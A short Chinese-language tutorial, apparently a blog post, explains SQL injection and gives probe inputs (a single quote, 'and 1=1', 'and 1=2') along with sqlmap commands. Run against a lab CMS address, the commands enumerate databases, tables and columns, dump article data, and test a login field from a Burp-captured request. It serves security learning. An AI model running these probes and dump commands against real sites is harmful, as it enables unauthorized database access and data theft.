0%

SQL注入原理

5f62d6c17793e.jpg

原理

SQL注入是一种解释性语言,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。

产生条件:

  • 必须可以进行输入
  • 输入的内容必须要与数据库进行交互

CMS逻辑

index.php首页展示内容,具有文章列表(链接具有文章id),articles.php文章详细页,URL中article.php?id=文章id读取id文章。

SQL注入验证

  • 单引号 ‘
  • and 1=1
  • and 1= 2

如果页面中Mysql报错,证明该页面存在SQL注入漏洞。

Sqlmap使用

Sqlmap是检测和利用Sql注入漏洞的工具。

登录注入

使用Burp Suite截断发送的http报文,然后复制保存为target.txt

1
sqlmap -r target.txt -p username --dbs   #username为注入点

CMS注入(URL)

探测数据库
1
sqlmap -u "192.168.1.104:8081/cms/articles.php?id=1" --dbs
指定数据库探测表名
1
sqlmap -u "192.168.1.104:8081/cms/articles.php?id=1" -D cms --tables
探测字段
1
sqlmap -u "192.168.1.104:8081/cms/articles.php?id=1" -D cms --columns
探测当前字段的数据
1
sqlmap -u "192.168.1.104:8081/cms/articles.php?id=1" -D cms -T articles -C id,title,content --dump